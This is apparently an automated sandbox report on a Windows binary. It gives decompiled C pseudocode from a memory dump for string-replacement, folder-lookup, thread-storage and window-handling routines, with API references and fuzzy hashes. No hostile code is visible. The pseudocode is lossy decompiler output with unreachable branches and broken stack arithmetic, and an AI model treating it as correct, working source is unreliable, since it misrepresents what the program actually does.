				 *(_t151 + 0x10) = _t135 -  *(_t151 + 0x10) >> 1;
				if((_t128 & 0x00000002) == 0) {
					_t92 = E0040E180(_t120,  *(_t151 + 0x34));
					 *(_t151 + 0x24) = _t92;
					if(_t92 != 0) {
						_push( *(_t151 + 0x34));
						L00405313();
						_t151 = _t151 + 4;
						 *(_t151 + 0x34) = _t92;
					}
					_t93 = E0040E180(_t120, _t117);
					 *(_t151 + 0x28) = _t93;
					if(_t93 != 0) {
						_push(_t117);
						L00405313();
						_t117 = _t93;
						_t151 = _t151 + 4;
						 *(_t151 + 0x38) = _t117;
					}
					_t94 = E0040E180(_t120,  *(_t151 + 0x3c));
					 *(_t151 + 0x2c) = _t94;
					if(_t94 != 0) {
						_push( *(_t151 + 0x3c));
						L00405313();
						_t151 = _t151 + 4;
						 *(_t151 + 0x3c) = _t94;
					}
					_t121 =  *(_t151 + 0x44) +  *(_t151 + 0x44);
					 *(_t151 + 0x1c) = _t121;
					_t98 =  *(_t151 + 0x34) + 0xfffffffe + _t121;
					 *(_t151 + 0x20) = _t98;
					_t122 = _t98;
					 *(_t151 + 0x18) = _t122;
					if( *(_t151 + 0x48) != 0) {
						_t111 =  *_t122 & 0x0000ffff;
						if(_t111 != 0) {
							_t143 = _t122;
							do {
								if( *(_t151 + 0x14) != 0) {
									_t112 =  *((intOrPtr*)(_t151 + 0x4c))(_t143, _t117, _t149);
									_t151 = _t151 + 0xc;
									if(_t112 != 0) {
										goto L38;
									} else {
										goto L48;
									}
									goto L61;
								} else {
									if(_t111 !=  *_t117) {
										L38:
										_t143 =  &(_t143[1]);
										goto L39;
									} else {
										_t113 =  *((intOrPtr*)(_t151 + 0x4c))(_t143, _t117, _t149);
										_t151 = _t151 + 0xc;
										if(_t113 == 0) {
											L48:
											_t132 =  *(_t151 + 0x48);
											_t143 =  &(_t143[_t149]);
											_t150 = _t150 + 1;
											if(_t132 == 0xffffffff) {
												goto L39;
											} else {
												if(_t132 <= _t150) {
													break;
												} else {
													goto L39;
												}
											}
											L61:
											if( *(_t151 + 0x24) != 0) {
												free(_t118);
												_t151 = _t151 + 4;
											}
											if( *(_t151 + 0x28) != 0) {
												free( *(_t151 + 0x38));
												_t151 = _t151 + 4;
											}
											if( *(_t151 + 0x2c) != 0) {
												free( *(_t151 + 0x3c));
												return _t91;
											}
											goto L67;
										} else {
											goto L38;
										}
									}
								}
								break;
								L39:
								_t111 =  *_t143 & 0x0000ffff;
							} while (_t111 != 0);
							_t137 =  *(_t151 + 0x10);
						}
					}
					_t118 =  *(_t151 + 0x34);
					_t123 = _t118;
					_t131 = _t123 + 2;
					do {
						_t99 =  *_t123;
						_t123 = _t123 + 2;
					} while (_t99 != 0);
					_t141 = E0040E200((_t137 - _t149) * _t150 + (_t123 - _t131 >> 1),  *((intOrPtr*)(_t151 + 0x4c)));
					if(_t150 != 0) {
						_t101 =  *(_t151 + 0x44);
						if(_t101 > 1) {
							wcsncpy(_t141,  *(_t151 + 0x38), _t101);
							_t109 =  *(_t151 + 0x28);
							_t151 = _t151 + 0xc;
							_t118 =  *(_t151 + 0x20);
							_t141 = _t141 +  &(_t109[0]);
						}
						_t126 =  *_t118 & 0x0000ffff;
						while(_t126 != 0) {
							if(_t150 <= 0) {
								L58:
								 *_t141 =  *_t118;
								_t141 =  &(_t141[0]);
								_t118 = _t118 + 2;
							} else {
								if( *(_t151 + 0x14) != 0) {
									_t103 =  *((intOrPtr*)(_t151 + 0x4c))(_t118,  *(_t151 + 0x3c), _t149);
									_t151 = _t151 + 0xc;
									if(_t103 != 0) {
										goto L58;
									} else {
										goto L69;
									}
									goto L70;
								} else {
									_t106 =  *(_t151 + 0x38);
									if(_t126 !=  *_t106) {
										goto L58;
									} else {
										_t107 =  *((intOrPtr*)(_t151 + 0x4c))(_t118, _t106, _t149);
										_t151 = _t151 + 0xc;
										if(_t107 == 0) {
											L69:
											wcsncpy(_t141,  *(_t151 + 0x40),  *(_t151 + 0x10));
											_t105 =  *(_t151 + 0x1c);
											_t118 = _t118 + _t149 * 2;
											_t151 = _t151 + 0xc;
											_t150 = _t150 - 1;
											_t141 = _t141 + _t105 * 2;
										} else {
											goto L58;
										}
									}
								}
							}
							_t126 =  *_t118 & 0x0000ffff;
						}
						_t118 =  *(_t151 + 0x34);
						_t91 = 0;
						 *_t141 = 0;
					} else {
						_t127 = _t118;
						_t142 = _t141 - _t118;
						do {
							_t91 =  *_t127 & 0x0000ffff;
							_t127 = _t127 + 2;
							 *(_t142 + _t127 - 2) = _t91;
						} while (_t91 != 0);
					}
					goto L61;
				} else {
					if(_t149 == 0) {
						L67:
						return _t91;
					} else {
						_t91 =  *(_t151 + 0x48);
						if(_t91 != 0) {
							_t146 =  *(_t151 + 0x34) + ( *(_t151 + 0x44) - 1) * 2;
							_t119 = _t146;
							if( *_t119 != _t150) {
								while(_t91 == 0xffffffff || _t91 > _t150) {
									_t114 =  *_t120(_t146,  *(_t151 + 0x3c), _t149);
									_t151 = _t151 + 0xc;
									if(_t114 != 0) {
										_t146 =  &(_t146[0]);
										_t119 =  &(_t119[0]);
									} else {
										wcsncpy(_t146,  *(_t151 + 0x40),  *(_t151 + 0x10));
										_t116 =  *(_t151 + 0x1c);
										_t119 = _t119 + _t149 * 2;
										_t151 = _t151 + 0xc;
										_t150 = _t150 + 1;
										_t146 = _t146 + _t116 * 2;
									}
									_t91 =  *(_t151 + 0x48);
									_t120 =  *(_t151 + 0x40);
									if( *_t119 != 0) {
										continue;
									} else {
										return _t91;
									}
									goto L70;
								}
							}
						}
						goto L67;
					}
				}
				L70:
			}

0x004062b5
0x004062bd
0x004062bf
0x004062bf
0x004062c7
0x004062cd
0x004062cf
0x004062d4
0x004062d4
0x004062dc
0x004062de
0x004062de
0x004062e6
0x004062ea
0x004062f1
0x004062f4
0x004062f8
0x004062fa
0x004062fa
0x004062ff
0x00406307
0x00406309
0x00406309
0x00406311
0x00406313
0x00406316
0x00406316
0x00406319
0x0040631c
0x00406323
0x00406327
0x0040632c
0x00406330
0x00406330
0x00406333
0x00406336
0x0040633f
0x00406341
0x00406348
0x004063dd
0x004063e2
0x004063e8
0x004063ea
0x004063ee
0x004063f3
0x004063f6
0x004063f6
0x004063fb
0x00406400
0x00406406
0x00406408
0x00406409
0x0040640e
0x00406410
0x00406413
0x00406413
0x0040641b
0x00406420
0x00406426
0x00406428
0x0040642c
0x00406431
0x00406434
0x00406434
0x00406440
0x0040644a
0x0040644e
0x00406450
0x00406454
0x00406456
0x0040645c
0x0040645e
0x00406464
0x00406466
0x00406468
0x0040646d
0x004064e8
0x004064ec
0x004064f1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040646f
0x00406472
0x00406482
0x00406482
0x00000000
0x00406474
0x00406477
0x0040647b
0x00406480
0x004064f3
0x004064f3
0x004064f7
0x004064fa
0x004064fe
0x00000000
0x00406500
0x00406502
0x00000000
0x00406504
0x00000000
0x00406504
0x00406502
0x00406574
0x00406579
0x0040657c
0x00406581
0x00406581
0x00406589
0x0040658f
0x00406594
0x00406594
0x0040659c
0x004065a2
0x00000000
0x004065a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00406480
0x00406472
0x00000000
0x00406485
0x00406485
0x00406488
0x0040648d
0x0040648d
0x00406464
0x00406491
0x00406495
0x00406497
0x004064a0
0x004064a0
0x004064a3
0x004064a6
0x004064c0
0x004064c4
0x00406509
0x00406510
0x00406518
0x0040651d
0x00406521
0x00406524
0x0040652b
0x0040652b
0x0040652d
0x00406533
0x00406537
0x00406557
0x0040655a
0x0040655d
0x00406560
0x00406539
0x0040653e
0x004065ba
0x004065be
0x004065c3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406540
0x00406540
0x00406547
0x00000000
0x00406549
0x0040654c
0x00406550
0x00406555
0x004065c5
0x004065ce
0x004065d3
0x004065d7
0x004065da
0x004065dd
0x004065de
0x00000000
0x00000000
0x00000000
0x00406555
0x00406547
0x0040653e
0x00406563
0x00406566
0x0040656b
0x0040656f
0x00406571
0x004064c6
0x004064c6
0x004064c8
0x004064d0
0x004064d0
0x004064d3
0x004064d6
0x004064db
0x004064e0
0x00000000
0x0040634e
0x00406350
0x004065b1
0x004065b1
0x00406356
0x00406356
0x0040635c
0x0040636b
0x0040636e
0x00406373
0x00406380
0x00406393
0x00406395
0x0040639a
0x004063ba
0x004063bd
0x0040639c
0x004063a5
0x004063aa
0x004063ae
0x004063b1
0x004063b4
0x004063b5
0x004063b5
0x004063c4
0x004063c8
0x004063cc
0x00000000
0x004063d5
0x004063d5
0x004063d5
0x00000000
0x004063cc
0x00406380
0x00406373
0x00000000
0x0040635c
0x00406350
0x00000000

APIs

wcsncpy.MSVCRT ref: 004063A5

Part of subcall function 0040E180: TlsGetValue.KERNEL32(0000001B,?,?,00405E65,00001000,00001000,?,?,00001000,00402FE6,00000000,00000008,00000001,00000000,00000000,00000000), ref: 0040E18A

_wcsdup.MSVCRT ref: 004063EE
_wcsdup.MSVCRT ref: 00406409
_wcsdup.MSVCRT ref: 0040642C
wcsncpy.MSVCRT ref: 00406518
free.MSVCRT(?), ref: 0040657C
free.MSVCRT(?), ref: 0040658F
free.MSVCRT(?), ref: 004065A2
wcsncpy.MSVCRT ref: 004065CE

Strings

$ A, xrefs: 004062CF
$ A, xrefs: 004062BF
$ A, xrefs: 004062DE

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsdupfreewcsncpy$Value
String ID: $ A$$ A$$ A
API String ID: 1554701960-2077024048
Opcode ID: 81cbbaf9a2bb25f669f5b054791e3fa14d7c6e9058cb5600c4bd8963ee11386a
Instruction ID: ef8ff848e519ff80595976f88fda9aa54c27a9e0628953f57c1371388918df2b
Opcode Fuzzy Hash: 81cbbaf9a2bb25f669f5b054791e3fa14d7c6e9058cb5600c4bd8963ee11386a
Instruction Fuzzy Hash: 70A1BD71504301AFCB209F18C88166BB7B1EF94348F05093EFD86A7395E77AD925CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7DA, Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 91
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040A7DA(void* __eflags, char _a8) {
				signed int _v4;
				wchar_t* _v8;
				signed int _t11;
				int _t14;
				_Unknown_base(*)()* _t18;
				int _t23;
				struct HINSTANCE__* _t24;
				wchar_t* _t26;
				int _t27;
				void* _t31;

				_t27 = 0;
				_t26 = E0040E200(0x104, _a8);
				_t11 = _v4;
				if(_t11 != 2) {
					if(_t11 > 9) {
						L20:
						E0040E350(_t25, 0x104 - _t27);
						 *((short*)(_t26 + _t27 * 2)) = 0;
						return 0;
					}
					switch( *((intOrPtr*)(_t11 * 4 +  &M0040A8D2))) {
						case 0:
							L18:
							_t14 = E0040A90C(_t28, _t26);
							L19:
							_t27 = _t14;
							goto L20;
						case 1:
							_push(0x26);
							goto L17;
						case 2:
							goto L20;
						case 3:
							_push(5);
							goto L17;
						case 4:
							_push(0x1a);
							goto L17;
						case 5:
							_push(0x23);
							goto L17;
						case 6:
							_push(0xe);
							goto L17;
						case 7:
							_push(0xd);
							goto L17;
						case 8:
							_push(0x27);
							goto L17;
						case 9:
							_push(0x2e);
							L17:
							_pop(_t28);
							goto L18;
					}
				}
				_t24 = LoadLibraryW(L"Shell32.DLL");
				if(_t24 == 0) {
					L6:
					E0040A90C(0x28, _t26);
					wcscat(_t26, L"Downloads\\");
					_t14 = wcslen(_t26);
					goto L19;
				}
				_t18 = GetProcAddress(_t24, "SHGetKnownFolderPath");
				 *0x4170f8 = _t18;
				if(_t18 != 0) {
					_t25 =  &_a8;
					_push( &_a8);
					_push(0);
					_push(0);
					_push(0x41611c);
					if( *_t18() == 0) {
						wcscpy(_t26, _v8);
						wcscat(_t26, "\\");
						_t23 = wcslen(_t26);
						_t31 = _t31 + 0x14;
						_t27 = _t23;
						__imp__CoTaskMemFree(_v8);
					}
				}
				FreeLibrary(_t24);
				if(_t27 != 0) {
					goto L20;
				} else {
					goto L6;
				}
			}

0x0040a7e7
0x0040a7ef
0x0040a7f1
0x0040a7f8
0x0040a88c
0x0040a8bd
0x0040a8c0
0x0040a8c7
0x0040a8cf
0x0040a8cf
0x0040a88e
0x00000000
0x0040a8b4
0x0040a8b6
0x0040a8bb
0x0040a8bb
0x00000000
0x00000000
0x0040a895
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a899
0x00000000
0x00000000
0x0040a89d
0x00000000
0x00000000
0x0040a8a1
0x00000000
0x00000000
0x0040a8a5
0x00000000
0x00000000
0x0040a8a9
0x00000000
0x00000000
0x0040a8ad
0x00000000
0x00000000
0x0040a8b1
0x0040a8b3
0x0040a8b3
0x00000000
0x00000000
0x0040a88e
0x0040a809
0x0040a80d
0x0040a86b
0x0040a86e
0x0040a879
0x0040a87f
0x00000000
0x0040a884
0x0040a815
0x0040a81b
0x0040a822
0x0040a824
0x0040a828
0x0040a829
0x0040a82a
0x0040a82b
0x0040a834
0x0040a83b
0x0040a846
0x0040a84c
0x0040a851
0x0040a854
0x0040a85a
0x0040a85a
0x0040a834
0x0040a861
0x0040a869
0x00000000
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040E200: TlsGetValue.KERNEL32(0000001B,00001000,00000000,00000000), ref: 0040E20C
Part of subcall function 0040E200: RtlReAllocateHeap.NTDLL(00630000,00000000,?,?), ref: 0040E267

LoadLibraryW.KERNEL32(Shell32.DLL,00000104,?,?,?,?,00000009,00403791,00000001,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0040A803
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 0040A815
wcscpy.MSVCRT ref: 0040A83B
wcscat.MSVCRT ref: 0040A846
wcslen.MSVCRT ref: 0040A84C
CoTaskMemFree.OLE32(?,00000000,00000000,?,00638AF0,00000000,00000000), ref: 0040A85A
FreeLibrary.KERNEL32(00000000,?,?,?,00000009,00403791,00000001,00000000,00000000,00000000,?,00000000,00000000,00000000,004046B8,00000000), ref: 0040A861
wcscat.MSVCRT ref: 0040A879
wcslen.MSVCRT ref: 0040A87F

Strings

SHGetKnownFolderPath, xrefs: 0040A80F
Shell32.DLL, xrefs: 0040A7FE
Downloads\, xrefs: 0040A873

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrarywcscatwcslen$AddressAllocateHeapLoadProcTaskValuewcscpy
String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
API String ID: 1878685483-287042676
Opcode ID: d8047ec1b211d1abfdd77f67eb398c2beda1c06acf7c2fe8683d516af209cf70
Instruction ID: a59125e26d23ccb30f5fa0f47659a7dbf798ada992acc4f36018911529e702ca
Opcode Fuzzy Hash: d8047ec1b211d1abfdd77f67eb398c2beda1c06acf7c2fe8683d516af209cf70
Instruction Fuzzy Hash: 0D210A32244301B6E11037A2AD4AF6B3A68CB41B94F10843BFD01B51C1D6BC897696AF

Uniqueness

Uniqueness Score: -1.00%

Function 00411D62, Relevance: 19.6, APIs: 13, Instructions: 74
memoryregistrythreadCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00411D62(intOrPtr _a4, intOrPtr _a8) {
				void* _t11;
				void** _t12;
				void* _t13;
				void* _t14;
				void* _t20;
				void* _t24;
				HANDLE* _t25;

				if( *0x417678 == 0) {
					 *0x417698 = TlsAlloc();
					InitializeCriticalSection(0x417680);
					 *0x417678 = 1;
				}
				_t20 = TlsGetValue( *0x417698);
				if(_t20 != 0) {
					L7:
					_t11 = HeapAlloc( *0x417008, 0, 0xc);
					if(_t11 != 0) {
						 *((intOrPtr*)(_t11 + 4)) = _a4;
						 *((intOrPtr*)(_t11 + 8)) = _a8;
						 *_t11 =  *(_t20 + 8);
						 *(_t20 + 8) = _t11;
						return _t11;
					}
				} else {
					_t11 = HeapAlloc( *0x417008, 8, 0x14);
					_t20 = _t11;
					if(_t20 != 0) {
						EnterCriticalSection(0x417680);
						_t12 =  *0x41767c; // 0x0
						if(_t12 != 0) {
							 *_t12 = _t20;
						}
						 *(_t20 + 4) = _t12;
						 *0x41767c = _t20;
						LeaveCriticalSection(0x417680);
						_t25 = _t20 + 0x10;
						_t13 = GetCurrentProcess();
						_t14 = GetCurrentThread();
						DuplicateHandle(GetCurrentProcess(), _t14, _t13, _t25, 0x100000, 0, 0);
						_t3 = _t20 + 0xc; // 0xc
						__imp__RegisterWaitForSingleObject(_t3,  *_t25, E00411E5A, _t20, 0xffffffff, 8, _t24);
						TlsSetValue( *0x417698, _t20);
						goto L7;
					}
				}
				return _t11;
			}

0x00411d70
0x00411d79
0x00411d7e
0x00411d84
0x00411d84
0x00411d9a
0x00411d9e
0x00411e2b
0x00411e35
0x00411e3d
0x00411e43
0x00411e4a
0x00411e50
0x00411e52
0x00000000
0x00411e52
0x00411da4
0x00411dae
0x00411db4
0x00411db8
0x00411dbf
0x00411dc5
0x00411dcc
0x00411dce
0x00411dce
0x00411dd2
0x00411dd5
0x00411ddb
0x00411de7
0x00411df4
0x00411df7
0x00411e01
0x00411e13
0x00411e17
0x00411e24
0x00000000
0x00411e2a
0x00411db8
0x00411e57

APIs

TlsAlloc.KERNEL32(?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004), ref: 00411D72
InitializeCriticalSection.KERNEL32(00417680,?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000), ref: 00411D7E
TlsGetValue.KERNEL32(?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004), ref: 00411D94
HeapAlloc.KERNEL32(00000008,00000014,?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00411DAE
EnterCriticalSection.KERNEL32(00417680,?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000), ref: 00411DBF
LeaveCriticalSection.KERNEL32(00417680,?,?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00411DDB
GetCurrentProcess.KERNEL32(00000000,00100000,00000000,00000000,?,?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000), ref: 00411DF4
GetCurrentThread.KERNEL32 ref: 00411DF7
GetCurrentProcess.KERNEL32(00000000,?,?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00411DFE
DuplicateHandle.KERNEL32(00000000,?,?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00411E01
RegisterWaitForSingleObject.KERNEL32 ref: 00411E17
TlsSetValue.KERNEL32(00000000,?,?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00411E24
HeapAlloc.KERNEL32(00000000,0000000C,?,?,0040DFB8,0040DF20,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00411E35

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocCriticalCurrentSection$HeapProcessValue$DuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
String ID:
API String ID: 298514914-0
Opcode ID: bdee7e9acd0791c466288ec044d2aaab850532c309e9e3b615f344bc37c153a3
Instruction ID: 8d0ee0ed933d17ffb5573716605f6a27c21e7768710c452de208be154d108613
Opcode Fuzzy Hash: bdee7e9acd0791c466288ec044d2aaab850532c309e9e3b615f344bc37c153a3
Instruction Fuzzy Hash: 91210770645301EFDB109FA4FC88B963B7AFB08761F11C43AFA059A2A5DB74D840CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040D9E3, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 53
librarysleeploaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040D9E3(void* __ecx, LONG* _a4, intOrPtr _a8) {
				char _v8;
				struct HINSTANCE__* _t5;
				long _t7;
				int _t9;
				_Unknown_base(*)()* _t10;
				void* _t13;
				struct HINSTANCE__* _t18;
				LONG* _t21;

				_t13 = 0;
				_t5 = LoadLibraryW( &M00412700);
				_t21 = _a4;
				_t18 = _t5;
				if(_t18 == 0) {
					L4:
					_t7 = InterlockedCompareExchange(_t21, 1, 0);
					if(_t7 == 0) {
						_a8();
						_t9 = InterlockedExchange(_t21, 2);
					} else {
						_t9 = _t7 - 1;
						if(_t9 == 0) {
							while( *_t21 != 2) {
								Sleep(0);
							}
						}
					}
				} else {
					_t10 = GetProcAddress(_t18, "InitOnceExecuteOnce");
					if(_t10 != 0) {
						 *_t10(_t21, E0040D9C3, _a8,  &_v8);
						_t13 = 1;
					}
					_t9 = FreeLibrary(_t18);
					if(_t13 == 0) {
						goto L4;
					}
				}
				return _t9;
			}

0x0040d9ef
0x0040d9f1
0x0040d9f7
0x0040d9fa
0x0040d9fe
0x0040da2b
0x0040da36
0x0040da39
0x0040da4f
0x0040da55
0x0040da3b
0x0040da3b
0x0040da3c
0x0040da48
0x0040da42
0x0040da42
0x0040da4d
0x0040da3c
0x0040da00
0x0040da06
0x0040da0e
0x0040da1d
0x0040da1f
0x0040da1f
0x0040da21
0x0040da29
0x00000000
0x00000000
0x0040da29
0x0040da61

APIs

LoadLibraryW.KERNEL32(Kernel32.dll,00000000,00000000,00000000,00000004,00000000,0040D7F5,00417614,0040D982,00000000,FFFFFFED,00000200,77E34620,00409E16,FFFFFFED,00000010), ref: 0040D9F1
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 0040DA06
FreeLibrary.KERNEL32(00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040DA21
InterlockedCompareExchange.KERNEL32(00000000,00000001,00000000), ref: 0040DA30
Sleep.KERNEL32(00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040DA42
InterlockedExchange.KERNEL32(00000000,00000002), ref: 0040DA55

Strings

Kernel32.dll, xrefs: 0040D9EA
InitOnceExecuteOnce, xrefs: 0040DA00

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ExchangeInterlockedLibrary$AddressCompareFreeLoadProcSleep
String ID: InitOnceExecuteOnce$Kernel32.dll
API String ID: 2918862794-1339284965
Opcode ID: 6d048d891e2cf8fbf7d8d619f0fa725de381c314969143a28184dc53c1081fbd
Instruction ID: 78d57fd6bf002b5b6c2ef9560121a390c40c5b5e23dd256736785be4ed7191ec
Opcode Fuzzy Hash: 6d048d891e2cf8fbf7d8d619f0fa725de381c314969143a28184dc53c1081fbd
Instruction Fuzzy Hash: 0E01D431B14204BBD7102FE4AC49FEB3B29EB86B12F11803AF505A11C4DB788909CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 004094A7, Relevance: 12.0, APIs: 8, Instructions: 50
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004094A7(struct HWND__* _a4) {
				long _t8;
				struct HWND__* _t23;
				intOrPtr* _t25;

				_t23 = _a4;
				_t8 = GetWindowThreadProcessId(_t23, 0);
				if(_t8 == GetCurrentThreadId() && IsWindowVisible(_t23) != 0) {
					_t25 = E0040DB12(0x4170e4, 0x14);
					 *(_t25 + 4) = _t23;
					 *_t25 = GetCurrentThreadId();
					 *((short*)(_t25 + 8)) = 0;
					if((GetWindowLongW(_t23, 0xffffffec) & 0x00000008) != 0) {
						 *((char*)(_t25 + 8)) = 1;
					}
					if(_t23 != GetForegroundWindow() && IsWindowEnabled(_t23) != 0) {
						 *((char*)(_t25 + 9)) = 1;
						EnableWindow(_t23, 0);
					}
				}
				return 1;
			}

0x004094aa
0x004094b1
0x004094c3
0x004094dc
0x004094e0
0x004094e9
0x004094ec
0x004094f8
0x004094fa
0x004094fa
0x00409506
0x00409515
0x00409519
0x00409519
0x00409506
0x00409525

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 004094B1
GetCurrentThreadId.KERNEL32 ref: 004094BF
IsWindowVisible.USER32(?), ref: 004094C6

Part of subcall function 0040DB12: HeapAlloc.KERNEL32(00000008,00000000,0040D38C,00417608,00000014,?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000), ref: 0040DB1E

GetCurrentThreadId.KERNEL32 ref: 004094E3
GetWindowLongW.USER32(?,000000EC), ref: 004094F0
GetForegroundWindow.USER32 ref: 004094FE
IsWindowEnabled.USER32(?), ref: 00409509
EnableWindow.USER32(?,00000000), ref: 00409519

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Thread$Current$AllocEnableEnabledForegroundHeapLongProcessVisible
String ID:
API String ID: 3383493704-0
Opcode ID: 1f4750660798c3bab16e5480091953d12569fa84976fdb8457a986ceb55f5c55
Instruction ID: d72cecd996af7503d4a55556d0eaf5d1fe8b6ec4fae3718c35eb9c11583601b7
Opcode Fuzzy Hash: 1f4750660798c3bab16e5480091953d12569fa84976fdb8457a986ceb55f5c55
Instruction Fuzzy Hash: B10175312043016ED3215B79AC88AAB7AE8EF95754B15803EF545E31A6DB74DC01C669

Uniqueness

Uniqueness Score: -1.00%

Function 00408E54, Relevance: 10.6, APIs: 7, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00408E54(struct HWND__* _a4, intOrPtr _a8, signed int _a12) {
				intOrPtr _t10;
				void* _t13;
				void* _t19;
				long _t20;
				WCHAR* _t22;
				int _t33;

				_t10 = _a8;
				if(_t10 == 0) {
					UnregisterClassW( *0x416114,  *0x41700c);
					 *0x4170c8 = 1;
				} else {
					_t13 = _t10 - 0xe;
					if(_t13 == 0) {
						L6:
						E00409292();
						DestroyWindow(_a4);
					} else {
						if(_t13 != 0x101) {
							return DefWindowProcW();
						}
						_t19 = (_a12 & 0x0000ffff) - 0x3e8;
						if(_t19 == 0) {
							_t20 = GetWindowLongW(_a4, 0xffffffeb);
							_t5 = GetWindowTextLengthW( *0x4170d0) + 1; // 0x1
							_t33 = _t5;
							_t22 = HeapAlloc( *0x417008, 0, _t33 + _t33);
							 *_t20 = _t22;
							GetWindowTextW( *0x4170d0, _t22, _t33);
							E00409292();
							DestroyWindow(_a4);
						} else {
							if(_t19 == 1) {
								goto L6;
							}
						}
					}
				}
				return 0;
			}

0x00408e5b
0x00408e5c
0x00408ef3
0x00408ef9
0x00408e62
0x00408e62
0x00408e65
0x00408e85
0x00408e85
0x00408e8d
0x00408e67
0x00408e6c
0x00408e6f
0x00408e6f
0x00408e7b
0x00408e80
0x00408e9c
0x00408eb0
0x00408eb0
0x00408ebf
0x00408ecd
0x00408ecf
0x00408ed5
0x00408edd
0x00408e82
0x00408e83
0x00000000
0x00000000
0x00408e83
0x00408e80
0x00408e65
0x00408f06

